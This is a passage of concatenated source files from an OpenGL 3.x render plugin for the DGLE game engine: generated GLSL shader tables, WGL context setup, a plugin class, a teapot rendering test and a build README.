2.2f));\n", "}\n", "\n", nullptr }; static const char *v2[] = { "#version 330\n", "layout(location = 0) in vec3 Position;\n", "layout(location = 2) in vec2 TexCoord;\n", "uniform mat4 MVP;\n", "//\n", "smooth out vec2 UV;\n", "void main()\n", "{\n", " UV = TexCoord;\n", " gl_Position = MVP * vec4(Position, 1.0);\n", "}\n", "\n", nullptr }; static const char *f2[] = { "#version 330\n", "smooth in vec2 UV;\n", "uniform vec4 main_color;\n", "uniform sampler2D texture0;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " vec4 tex = texture(texture0, UV);\n", " //tex.rgb = pow(tex.rgb, vec3(2.2f, 2.2f, 2.2f));\n", " color_out = tex * main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v3[] = { "#version 330\n", "layout(location = 0) in vec3 Position;\n", "layout(location = 2) in vec2 TexCoord;\n", "uniform mat4 MVP;\n", "//\n", "smooth out vec2 UV;\n", "void main()\n", "{\n", " UV = TexCoord;\n", " gl_Position = MVP * vec4(Position, 1.0);\n", "}\n", "\n", nullptr }; static const char *f3[] = { "#version 330\n", "smooth in vec2 UV;\n", "uniform vec4 main_color;\n", "uniform sampler2D texture0;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " vec4 tex = texture(texture0, UV);\n", " //tex.rgb = pow(tex.rgb, vec3(2.2f, 2.2f, 2.2f));\n", " if (tex.a <= 0.5)\n", " discard;\n", " color_out = tex * main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v4[] = { "#version 330\n", "layout(location = 0) in vec3 Position;\n", "layout(location = 1) in vec3 Normal;\n", "uniform mat4 MVP;\n", "//\n", "uniform mat4 NM;\n", "smooth out vec3 N;\n", "void main()\n", "{\n", " N = (NM * vec4(Normal, 0)).xyz;\n", " gl_Position = MVP * vec4(Position, 1.0);\n", "}\n", "\n", nullptr }; static const char *f4[] = { "#version 330\n", "smooth in vec3 N;\n", "uniform vec3 nL;\n", "uniform vec4 main_color;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " vec3 nN = normalize(N);\n", " color_out = vec4(vec3(max(dot(nN, nL), 0)), 1) * main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v5[] = { "#version 330\n", "layout(location = 0) in vec3 Position;\n", "layout(location = 1) in vec3 Normal;\n", "uniform mat4 MVP;\n", "//\n", "uniform mat4 NM;\n", "smooth out vec3 N;\n", "void main()\n", "{\n", " N = (NM * vec4(Normal, 0)).xyz;\n", " gl_Position = MVP * vec4(Position, 1.0);\n", "}\n", "\n", nullptr }; static const char *f5[] = { "#version 330\n", "smooth in vec3 N;\n", "uniform vec3 nL;\n", "uniform vec4 main_color;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " vec3 nN = normalize(N);\n", " color_out = vec4(vec3(max(dot(nN, nL), 0)), 1) * main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v6[] = { "#version 330\n", "layout(location = 0) in vec3 Position;\n", "layout(location = 1) in vec3 Normal;\n", "layout(location = 2) in vec2 TexCoord;\n", "uniform mat4 MVP;\n", "//\n", "uniform mat4 NM;\n", "smooth out vec3 N;\n", "smooth out vec2 UV;\n", "void main()\n", "{\n", " N = (NM * vec4(Normal, 0)).xyz;\n", " UV = TexCoord;\n", " gl_Position = MVP * vec4(Position, 1.0);\n", "}\n", "\n", nullptr }; static const char *f6[] = { "#version 330\n", "smooth in vec3 N;\n", "smooth in vec2 UV;\n", "uniform vec3 nL;\n", "uniform vec4 main_color;\n", "uniform sampler2D texture0;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " vec3 nN = normalize(N);\n", " vec4 tex = texture(texture0, UV);\n", " //tex.rgb = pow(tex.rgb, vec3(2.2f, 2.2f, 2.2f));\n", " color_out = vec4(vec3(max(dot(nN, nL), 0)), 1) * tex * main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v7[] = { "#version 330\n", "layout(location = 0) in vec3 Position;\n", "layout(location = 1) in vec3 Normal;\n", "layout(location = 2) in vec2 TexCoord;\n", "uniform mat4 MVP;\n", "//\n", "uniform mat4 NM;\n", "smooth out vec3 N;\n", "smooth out vec2 UV;\n", "void main()\n", "{\n", " N = (NM * vec4(Normal, 0)).xyz;\n", " UV = TexCoord;\n", " gl_Position = MVP * vec4(Position, 1.0);\n", "}\n", "\n", nullptr }; static const char *f7[] = { "#version 330\n", "smooth in vec3 N;\n", "smooth in vec2 UV;\n", "uniform vec3 nL;\n", "uniform vec4 main_color;\n", "uniform sampler2D texture0;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " vec3 nN = normalize(N);\n", " vec4 tex = texture(texture0, UV);\n", " //tex.rgb = pow(tex.rgb, vec3(2.2f, 2.2f, 2.2f));\n", " if (tex.a <= 0.5)\n", " discard;\n", " color_out = vec4(vec3(max(dot(nN, nL), 0)), 1) * tex * main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v8[] = { "#version 330\n", "layout(location = 0) in vec2 Position;\n", "uniform mat4 MVP;\n", "//\n", "//uniform uint screenWidth;\n", "//uniform uint screenHeight;\n", "//\n", "void main()\n", "{\n", " gl_Position = MVP * vec4(Position.x, Position.y, 0.0, 1.0);\n", "}\n", "\n", nullptr }; static const char *f8[] = { "#version 330\n", "uniform vec4 main_color;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " color_out = main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v9[] = { "#version 330\n", "layout(location = 0) in vec2 Position;\n", "uniform mat4 MVP;\n", "//\n", "//uniform uint screenWidth;\n", "//uniform uint screenHeight;\n", "//\n", "void main()\n", "{\n", " gl_Position = MVP * vec4(Position.x, Position.y, 0.0, 1.0);\n", "}\n", "\n", nullptr }; static const char *f9[] = { "#version 330\n", "uniform vec4 main_color;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " color_out = main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v10[] = { "#version 330\n", "layout(location = 0) in vec2 Position;\n", "layout(location = 2) in vec2 TexCoord;\n", "uniform mat4 MVP;\n", "//\n", "//uniform uint screenWidth;\n", "//uniform uint screenHeight;\n", "//\n", "smooth out vec2 UV;\n", "void main()\n", "{\n", " UV = TexCoord;\n", " gl_Position = MVP * vec4(Position.x, Position.y, 0.0, 1.0);\n", "}\n", "\n", nullptr }; static const char *f10[] = { "#version 330\n", "smooth in vec2 UV;\n", "uniform vec4 main_color;\n", "uniform sampler2D texture0;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " vec4 tex = texture(texture0, UV);\n", " //tex.rgb = pow(tex.rgb, vec3(2.2f, 2.2f, 2.2f));\n", " color_out = tex * main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v11[] = { "#version 330\n", "layout(location = 0) in vec2 Position;\n", "layout(location = 2) in vec2 TexCoord;\n", "uniform mat4 MVP;\n", "//\n", "//uniform uint screenWidth;\n", "//uniform uint screenHeight;\n", "//\n", "smooth out vec2 UV;\n", "void main()\n", "{\n", " UV = TexCoord;\n", " gl_Position = MVP * vec4(Position.x, Position.y, 0.0, 1.0);\n", "}\n", "\n", nullptr }; static const char *f11[] = { "#version 330\n", "smooth in vec2 UV;\n", "uniform vec4 main_color;\n", "uniform sampler2D texture0;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " vec4 tex = texture(texture0, UV);\n", " //tex.rgb = pow(tex.rgb, vec3(2.2f, 2.2f, 2.2f));\n", " if (tex.a <= 0.5)\n", " discard;\n", " color_out = tex * main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v12[] = { "#version 330\n", "layout(location = 0) in vec2 Position;\n", "layout(location = 1) in vec3 Normal;\n", "uniform mat4 MVP;\n", "//\n", "//uniform uint screenWidth;\n", "//uniform uint screenHeight;\n", "//\n", "uniform mat4 NM;\n", "smooth out vec3 N;\n", "void main()\n", "{\n", " N = (NM * vec4(Normal, 0)).xyz;\n", " gl_Position = MVP * vec4(Position.x, Position.y, 0.0, 1.0);\n", "}\n", "\n", nullptr }; static const char *f12[] = { "#version 330\n", "smooth in vec3 N;\n", "uniform vec3 nL;\n", "uniform vec4 main_color;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " vec3 nN = normalize(N);\n", " color_out = vec4(vec3(max(dot(nN, nL), 0)), 1) * main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v13[] = { "#version 330\n", "layout(location = 0) in vec2 Position;\n", "layout(location = 1) in vec3 Normal;\n", "uniform mat4 MVP;\n", "//\n", "//uniform uint screenWidth;\n", "//uniform uint screenHeight;\n", "//\n", "uniform mat4 NM;\n", "smooth out vec3 N;\n", "void main()\n", "{\n", " N = (NM * vec4(Normal, 0)).xyz;\n", " gl_Position = MVP * vec4(Position.x, Position.y, 0.0, 1.0);\n", "}\n", "\n", nullptr }; static const char *f13[] = { "#version 330\n", "smooth in vec3 N;\n", "uniform vec3 nL;\n", "uniform vec4 main_color;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " vec3 nN = normalize(N);\n", " color_out = vec4(vec3(max(dot(nN, nL), 0)), 1) * main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v14[] = { "#version 330\n", "layout(location = 0) in vec2 Position;\n", "layout(location = 1) in vec3 Normal;\n", "layout(location = 2) in vec2 TexCoord;\n", "uniform mat4 MVP;\n", "//\n", "//uniform uint screenWidth;\n", "//uniform uint screenHeight;\n", "//\n", "uniform mat4 NM;\n", "smooth out vec3 N;\n", "smooth out vec2 UV;\n", "void main()\n", "{\n", " N = (NM * vec4(Normal, 0)).xyz;\n", " UV = TexCoord;\n", " gl_Position = MVP * vec4(Position.x, Position.y, 0.0, 1.0);\n", "}\n", "\n", nullptr }; static const char *f14[] = { "#version 330\n", "smooth in vec3 N;\n", "smooth in vec2 UV;\n", "uniform vec3 nL;\n", "uniform vec4 main_color;\n", "uniform sampler2D texture0;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " vec3 nN = normalize(N);\n", " vec4 tex = texture(texture0, UV);\n", " //tex.rgb = pow(tex.rgb, vec3(2.2f, 2.2f, 2.2f));\n", " color_out = vec4(vec3(max(dot(nN, nL), 0)), 1) * tex * main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v15[] = { "#version 330\n", "layout(location = 0) in vec2 Position;\n", "layout(location = 1) in vec3 Normal;\n", "layout(location = 2) in vec2 TexCoord;\n", "uniform mat4 MVP;\n", "//\n", "//uniform uint screenWidth;\n", "//uniform uint screenHeight;\n", "//\n", "uniform mat4 NM;\n", "smooth out vec3 N;\n", "smooth out vec2 UV;\n", "void main()\n", "{\n", " N = (NM * vec4(Normal, 0)).xyz;\n", " UV = TexCoord;\n", " gl_Position = MVP * vec4(Position.x, Position.y, 0.0, 1.0);\n", "}\n", "\n", nullptr }; static const char *f15[] = { "#version 330\n", "smooth in vec3 N;\n", "smooth in vec2 UV;\n", "uniform vec3 nL;\n", "uniform vec4 main_color;\n", "uniform sampler2D texture0;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " vec3 nN = normalize(N);\n", " vec4 tex = texture(texture0, UV);\n", " //tex.rgb = pow(tex.rgb, vec3(2.2f, 2.2f, 2.2f));\n", " if (tex.a <= 0.5)\n", " discard;\n", " color_out = vec4(vec3(max(dot(nN, nL), 0)), 1) * tex * main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static std::vector<ShaderSrc> _shadersGenerated = {{ { "Shader0", exact_ptrptr(v0), exact_ptrptr(f0), _countof(v0) - 1, _countof(f0) - 1, POS, false, false, }, { "Shader1", exact_ptrptr(v1), exact_ptrptr(f1), _countof(v1) - 1, _countof(f1) - 1, POS, false, true, }, { "Shader2", exact_ptrptr(v2), exact_ptrptr(f2), _countof(v2) - 1, _countof(f2) - 1, POS | TEX_COORD, false, false, }, { "Shader3", exact_ptrptr(v3), exact_ptrptr(f3), _countof(v3) - 1, _countof(f3) - 1, POS | TEX_COORD, false, true, }, { "Shader4", exact_ptrptr(v4), exact_ptrptr(f4), _countof(v4) - 1, _countof(f4) - 1, POS | NORM, false, false, }, { "Shader5", exact_ptrptr(v5), exact_ptrptr(f5), _countof(v5) - 1, _countof(f5) - 1, POS | NORM, false, true, }, { "Shader6", exact_ptrptr(v6), exact_ptrptr(f6), _countof(v6) - 1, _countof(f6) - 1, POS | NORM | TEX_COORD, false, false, }, { "Shader7", exact_ptrptr(v7), exact_ptrptr(f7), _countof(v7) - 1, _countof(f7) - 1, POS | NORM | TEX_COORD, false, true, }, { "Shader8", exact_ptrptr(v8), exact_ptrptr(f8), _countof(v8) - 1, _countof(f8) - 1, POS, true, false, }, { "Shader9", exact_ptrptr(v9), exact_ptrptr(f9), _countof(v9) - 1, _countof(f9) - 1, POS, true, true, }, { "Shader10", exact_ptrptr(v10), exact_ptrptr(f10), _countof(v10) - 1, _countof(f10) - 1, POS | TEX_COORD, true, false, }, { "Shader11", exact_ptrptr(v11), exact_ptrptr(f11), _countof(v11) - 1, _countof(f11) - 1, POS | TEX_COORD, true, true, }, { "Shader12", exact_ptrptr(v12), exact_ptrptr(f12), _countof(v12) - 1, _countof(f12) - 1, POS | NORM, true, false, }, { "Shader13", exact_ptrptr(v13), exact_ptrptr(f13), _countof(v13) - 1, _countof(f13) - 1, POS | NORM, true, true, }, { "Shader14", exact_ptrptr(v14), exact_ptrptr(f14), _countof(v14) - 1, _countof(f14) - 1, POS | NORM | TEX_COORD, true, false, }, { "Shader15", exact_ptrptr(v15), exact_ptrptr(f15), _countof(v15) - 1, _countof(f15) - 1, POS | NORM | TEX_COORD, true, true, }, }}; const std::vector<ShaderSrc>& getShaderSources() { return _shadersGenerated; } <file_sep>/src/shaderSources.h #include<vector> #include <unordered_set> enum INPUT_ATTRIBUTE; struct ShaderSrc { const char *descr; const char **ppTxtVertex; const char **ppTxtFragment; const unsigned int linesVertexShader; const unsigned int linesFragmentShader; const INPUT_ATTRIBUTE attribs; const bool bPositionIsVec2; const bool bAlphaTest; }; const std::vector<ShaderSrc>& getShaderSources();<file_sep>/src/PluginCore.h /** \author <NAME> aka Consta \date 11.06.2016 (c)<NAME> This file is a part of DGLE project and is distributed under the terms of the GNU Lesser General Public License. See "DGLE.h" for more details. */ #pragma once #include "DGLE.h" using namespace DGLE; #define PLUGIN_NAME "GL3XRender" #define PLUGIN_VERSION "0.01 (" __DATE__ ")" #define PLUGIN_VENDOR "Consta" #define PLUGIN_DESCRIPTION "OpenGL 3.2 and above core render implementation for DGLE" #define PLUGIN_INTERFACE_NAME "ISubSystemPlugin" class GL3XCoreRender; class CPluginCore : public ISubSystemPlugin { friend void LogToDGLE(uint uiInstIdx, const char *pcTxt, E_LOG_TYPE eType, const char *pcSrcFileName, int iSrcLineNumber); uint _uiInstIdx; IEngineCore *_pEngineCore; GL3XCoreRender *_pGL3XCoreRender; int _iDrawProfiler; void _Render(); void _Update(uint uiDeltaTime); void _Init(); void _Free(); void _MsgProc(const TWindowMessage &stMsg); void _ProfilerDraw(); static void DGLE_API _s_EventHandler(void *pParameter, IBaseEvent *pEvent); static void DGLE_API _s_Render(void *pParameter); static void DGLE_API _s_Update(void *pParameter); static void DGLE_API _s_Init(void *pParameter); static void DGLE_API _s_Free(void *pParameter); public: CPluginCore(IEngineCore *pEngineCore); ~CPluginCore(); IEngineCore* GetCore() { return _pEngineCore; } DGLE_RESULT DGLE_API GetPluginInfo(TPluginInfo &stInfo); DGLE_RESULT DGLE_API GetPluginInterfaceName(char* pcName, uint &uiCharsCount); DGLE_RESULT DGLE_API GetSubSystemInterface(IEngineSubSystem *&prSubSystem); IDGLE_BASE_IMPLEMENTATION(IPlugin, INTERFACE_IMPL_END) };<file_sep>/_tests/Core geometry/main.cpp // // Loading geometry and creation it through core render // #include <DGLE.h> #include <DGLE_CoreRenderer.h> using namespace DGLE; DGLE_DYNAMIC_FUNC #define APP_CAPTION "Core geometry" #define DLL_PATH "..\\..\\..\\DGLE\\bin\\windows\\DGLE.dll" #define MODELS_PATH "..\\resources\\models\\" #define SCREEN_WIDTH 1000u #define SCREEN_HEIGHT 700u IEngineCore *pEngineCore = nullptr; ICoreRenderer *pCoreRender = nullptr; IRender3D *pRender3D; IRender *pRender; IResourceManager *pResMan; IInput* pInput; IMesh *pMesh1; uint uiCounter = 0; uint prevWindowWidth, prevWindowHeight; void DGLE_API Init(void *pParameter) { pEngineCore->GetSubSystem(ESS_RENDER, reinterpret_cast<IEngineSubSystem *&>(pRender)); pEngineCore->GetSubSystem(ESS_CORE_RENDERER, reinterpret_cast<IEngineSubSystem *&>(pCoreRender)); pRender->GetRender3D(pRender3D); pEngineCore->GetSubSystem(ESS_RESOURCE_MANAGER, reinterpret_cast<IEngineSubSystem *&>(pResMan)); pEngineCore->GetSubSystem(ESS_INPUT, reinterpret_cast<IEngineSubSystem *&>(pInput)); pResMan->Load(MODELS_PATH"teapot.dmd", reinterpret_cast<IEngineBaseObject *&>(pMesh1), MMLF_FORCE_MODEL_TO_MESH); //pResMan->GetDefaultResource(EOT_MESH, reinterpret_cast<IEngineBaseObject *&>(pMesh)); pCoreRender->SetColor(ColorOrange()); TRasterizerStateDesc rasterState; pCoreRender->GetRasterizerState(rasterState); rasterState.bWireframe = true; pCoreRender->SetRasterizerState(rasterState); pCoreRender->SetLineWidth(5.0f); } void DGLE_API Update(void *pParameter) { // exit by pressing "Esc" key bool is_pressed; pInput->GetKey(KEY_ESCAPE, is_pressed); if (is_pressed) pEngineCore->QuitEngine(); ++uiCounter; } void DGLE_API Render(void *pParameter) { pRender3D->SetPerspective(45.f, 0.1f, 100.0f); pRender3D->SetMatrix ( MatrixRotate(static_cast<float>(uiCounter), TVector3(0.f, 1.f, 0.f)) * MatrixRotate(static_cast<float>(25), TVector3(1.f, 0.f, 0.f)) * MatrixTranslate(TVector3(0.0f, -0.3f, -3.5f)) * MatrixIdentity() // zero point for all transformations ); pCoreRender->PushStates(); pMesh1->Draw(); pCoreRender->PopStates(); } // callback on switching to fullscreen event void DGLE_API OnFullScreenEvent(void *pParameter, IBaseEvent *pEvent) { IEvGoFullScreen *p_event = (IEvGoFullScreen *)pEvent; uint res_width, res_height; bool go_fscreen; p_event->GetResolution(res_width, res_height, go_fscreen); if (go_fscreen) { prevWindowWidth = res_width; prevWindowHeight = res_height; pEngineCore->GetDesktopResolution(res_width, res_height); p_event->SetResolution(res_width, res_height); } else p_event->SetResolution(prevWindowWidth, prevWindowHeight); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { if (GetEngine(DLL_PATH, pEngineCore)) { if (SUCCEEDED(pEngineCore->InitializeEngine(NULL, APP_CAPTION, TEngineWindow(SCREEN_WIDTH, SCREEN_HEIGHT, false, false, MM_4X, EWF_ALLOW_SIZEING), 33u, static_cast<E_ENGINE_INIT_FLAGS>(EIF_LOAD_ALL_PLUGINS | EIF_NO_SPLASH)))) { pEngineCore->ConsoleExecute("rnd2d_profiler 2"); pEngineCore->AddProcedure(EPT_INIT, &Init); pEngineCore->AddProcedure(EPT_RENDER, &Render); pEngineCore->AddProcedure(EPT_UPDATE, &Update); pEngineCore->AddEventListener(ET_ON_FULLSCREEN, &OnFullScreenEvent); pEngineCore->StartEngine(); } FreeEngine(); } else MessageBox(nullptr, "Couldn't load \"" DLL_PATH "\"!", APP_CAPTION, MB_OK | MB_ICONERROR | MB_SETFOREGROUND); return 0; }<file_sep>/src/wgl.cpp /** \author <NAME>ka Consta \date 21.05.2016 (c)<NAME> This file is a part of DGLE project and is distributed under the terms of the GNU Lesser General Public License. See "DGLE.h" for more details. */ /* * Working with OpenGL context in windows through * WGL interface. */ #include "DGLE.h" #include <GL\glew.h> #include <GL\wglew.h> #include <assert.h> //#include <strsafe.h> // for StringCchPrintf using namespace DGLE; static IEngineCore *_core; static HWND _hwnd; static HDC _hdc; static HGLRC _hRC; //void LogWinAPILastError(LPTSTR lpszFunction) //{ // // Retrieve the system error message for the last-error code // LPVOID lpMsgBuf; // LPVOID lpDisplayBuf; // DWORD dw = GetLastError(); // // FormatMessage( // FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, // nullptr, // dw, // MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // reinterpret_cast<LPTSTR>(&lpMsgBuf), // 0, nullptr); // // lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR)); // StringCchPrintf((LPTSTR)lpDisplayBuf, // LocalSize(lpDisplayBuf) / sizeof(TCHAR), // TEXT("%s failed with error %d: %s"), // lpszFunction, dw, lpMsgBuf); // // MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); // // LocalFree(lpMsgBuf); // LocalFree(lpDisplayBuf); //} void E_GUARDS(); static void LogToDGLE(const char *pcTxt, E_LOG_TYPE eType, const char *pcSrcFileName, int iSrcLineNumber) { _core->WriteToLogEx(pcTxt, eType, pcSrcFileName, iSrcLineNumber); } #define LOG_FATAL(txt) LogToDGLE(std::string(txt).c_str(), LT_FATAL, __FILE__, __LINE__) // Useful extensions: // WGL_ARB_pixel_format_float: Allows for floating-point framebuffers. // WGL_ARB_framebuffer_sRGB: Allows for color buffers to be in sRGB format. // WGL_ARB_multisample: Allows for multisampled framebuffers. bool CreateGL(TWindowHandle hwnd, IEngineCore* pCore, const TEngineWindow& stWin) { const int major_version = 3; const int minor_version = 2; PIXELFORMATDESCRIPTOR pfd{}; pfd.nSize = sizeof(PIXELFORMATDESCRIPTOR); pfd.nVersion = 1; pfd.dwFlags = PFD_DOUBLEBUFFER | PFD_SUPPORT_OPENGL | PFD_DRAW_TO_WINDOW; pfd.iPixelType = PFD_TYPE_RGBA; pfd.cColorBits = 32; pfd.cDepthBits = 24; pfd.iLayerType = PFD_MAIN_PLANE; int closest_pixel_format = 0; _hdc = GetDC(hwnd); if (stWin.eMultisampling == MM_NONE) { closest_pixel_format = ChoosePixelFormat(_hdc, &pfd); if (closest_pixel_format == 0) { LOG_FATAL("Wrong ChoosePixelFormat() result"); return false; } if (!SetPixelFormat(_hdc, closest_pixel_format, &pfd)) { LOG_FATAL("Wrong SetPixelFormat() result"); return false; } HGLRC hrc_fake = wglCreateContext(_hdc); wglMakeCurrent(_hdc, hrc_fake); if (glewInit() != GLEW_OK) { LOG_FATAL("Couldn't initialize GLEW"); wglMakeCurrent(nullptr, nullptr); wglDeleteContext(hrc_fake); return false; } wglMakeCurrent(nullptr, nullptr); wglDeleteContext(hrc_fake); } else { HWND hwnd_fake = CreateWindowEx(0, TEXT("STATIC"), NULL, 0, 0, 0, 0, 0, 0, 0, 0, NULL); HDC hdc_fake = GetDC(hwnd_fake); int closest_pixel_format_temp = ChoosePixelFormat(hdc_fake, &pfd); SetPixelFormat(hdc_fake, closest_pixel_format_temp, &pfd); HGLRC hrc_fake = wglCreateContext(hdc_fake); wglMakeCurrent(hdc_fake, hrc_fake); if (glewInit() != GLEW_OK) { LOG_FATAL("Couldn't initialize GLEW"); wglMakeCurrent(nullptr, nullptr); wglDeleteContext(hrc_fake); ReleaseDC(hwnd_fake, hdc_fake); DestroyWindow(hwnd_fake); return false; } // New way create default framebuffer if (WGLEW_ARB_pixel_format) { int samples = 0; switch (stWin.eMultisampling) { case MM_2X: samples = 2; break; case MM_4X: samples = 4; break; case MM_8X: samples = 8; break; case MM_16X: samples = 16; break; default: break; } const int iPixelFormatAttribList[] = { WGL_DRAW_TO_WINDOW_ARB, GL_TRUE, WGL_SUPPORT_OPENGL_ARB, GL_TRUE, WGL_DOUBLE_BUFFER_ARB, GL_TRUE, WGL_PIXEL_TYPE_ARB, WGL_TYPE_RGBA_ARB, WGL_COLOR_BITS_ARB, 32, WGL_DEPTH_BITS_ARB, 24, WGL_STENCIL_BITS_ARB, 8, WGL_SAMPLE_BUFFERS_ARB, 1, //Number of buffers (must be 1 at time of writing) WGL_SAMPLES_ARB, samples, 0 }; int numFormats = 0; int chosen = wglChoosePixelFormatARB(_hdc, iPixelFormatAttribList, NULL, 1, &closest_pixel_format, (UINT*)&numFormats); if (!chosen || numFormats <= 0) { LOG_FATAL("Wrong wglChoosePixelFormatARB() result"); return false; } } else { LOG_FATAL("Extension WGLEW_ARB_pixel_format didn't found in driver"); return false; } wglMakeCurrent(nullptr, nullptr); wglDeleteContext(hrc_fake); ReleaseDC(hwnd_fake, hdc_fake); DestroyWindow(hwnd_fake); } if (!SetPixelFormat(_hdc, closest_pixel_format, &pfd)) { LOG_FATAL("Wrong SetPixelFormat() result"); return false; } if (WGLEW_ARB_create_context) { const int context_attribs[] = { WGL_CONTEXT_MAJOR_VERSION_ARB, major_version, WGL_CONTEXT_MINOR_VERSION_ARB, minor_version, WGL_CONTEXT_FLAGS_ARB, WGL_CONTEXT_FORWARD_COMPATIBLE_BIT_ARB, 0 // end }; _hRC = wglCreateContextAttribsARB(_hdc, nullptr, context_attribs); // context if (_hRC) { if (!wglMakeCurrent(_hdc, _hRC)) { wglDeleteContext(_hRC); ReleaseDC(_hwnd, _hdc); LOG_FATAL("Couldn't perform wglMakeCurrent(_hdc, _hRC);"); } } else { LOG_FATAL("Couldn't create OpenGL context with wglCreateContextAttribsARB()"); return false; } } else { LOG_FATAL("Extension WGLEW_ARB_create_context didn't found in driver"); return false; } return true; } void MakeCurrent() { if (wglGetCurrentContext() != _hRC) if (!wglMakeCurrent(_hdc, _hRC)) assert(false); } void FreeGL() { wglMakeCurrent(nullptr, nullptr); wglDeleteContext(_hRC); ReleaseDC(_hwnd, _hdc); } void SwapBuffer() { ::SwapBuffers(_hdc); } <file_sep>/README.md # GL3XRender ![Alt text](teapot.jpg?raw=true "Example Teapot") ## What is it? It is render plugin for [DGLE](https://github.com/DGLE-HQ/DGLE). DGLE alredy has it own support for OpenGL but it restricted by version 2.1. A plugin allows initialize DGLE under latest OpenGL 4.5 context. ## Installing Clone and build DGLE. Navigate to directory where DGLE root is located. Type ``` git clone https://github.com/k-payl/GL3XRender ``` Folder structure now are: ``` .../DGLE/ .../GL3XRender/ ``` Now open Visual Studio solution __GL3XRender.sln__ and build GL3XRender project. It build __GL3XRender.dll__ to DGLE/bin/windows/plugins/ directory. Now you can use any example from DGLE repository or some of my test. ## Project structure * __src__ - main codebase. * ___utils__ - now it only constains shader generator. * ___test__ - examples for testing functionality. <file_sep>/_utils/ShaderGenerator/Preprocessor.h #pragma once #include <string> #include <list> #include <vector> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> #include <algorithm> using std::string; using std::list; using std::vector; enum DIRECTIVE { UNKNOWN, IFDEF, ELSE, ELSEIF, ENDIF }; class Preprocessor { list<string> defines; public: void set_define(const string& def); void erase_define(const string& def); bool define_exist(const string& def); DIRECTIVE get_directive(string::iterator it, string::iterator str_end); string get_next_str(string::iterator& it, string::iterator str_end); bool evaluate_def_value(string::iterator& it, string::iterator str_end); void move_it_to_end_dirictive(string::iterator& it, string::iterator str_end); list<string> run(const vector<string>& text); }; <file_sep>/src/PluginCore.cpp /** \author <NAME> aka DRON \date 19.10.2012 (c)<NAME> This file is a part of DGLE project and is distributed under the terms of the GNU Lesser General Public License. See "DGLE.h" for more details. */ #include "PluginCore.h" #include "GL3XCoreRender.h" CPluginCore::CPluginCore(IEngineCore *pEngineCore): _pEngineCore(pEngineCore), _iDrawProfiler(0) { _pEngineCore->GetInstanceIndex(_uiInstIdx); _pEngineCore->AddProcedure(EPT_RENDER, &_s_Render, (void*)this); _pEngineCore->AddProcedure(EPT_UPDATE, &_s_Update, (void*)this); _pEngineCore->AddProcedure(EPT_INIT, &_s_Init, (void*)this); _pEngineCore->AddProcedure(EPT_FREE, &_s_Free, (void*)this); _pEngineCore->AddEventListener(ET_ON_WINDOW_MESSAGE, &_s_EventHandler, (void*)this); _pEngineCore->AddEventListener(ET_ON_PROFILER_DRAW, &_s_EventHandler, (void*)this); _pEngineCore->ConsoleRegisterVariable("gl3", "Displays gl3 plugin.", &_iDrawProfiler, 0, 1); _pGL3XCoreRender = new GL3XCoreRender(pEngineCore); } CPluginCore::~CPluginCore() { delete _pGL3XCoreRender; _pEngineCore->RemoveProcedure(EPT_RENDER, &_s_Render, (void*)this); _pEngineCore->RemoveProcedure(EPT_UPDATE, &_s_Update, (void*)this); _pEngineCore->RemoveProcedure(EPT_INIT, &_s_Init, (void*)this); _pEngineCore->RemoveProcedure(EPT_FREE, &_s_Free, (void*)this); 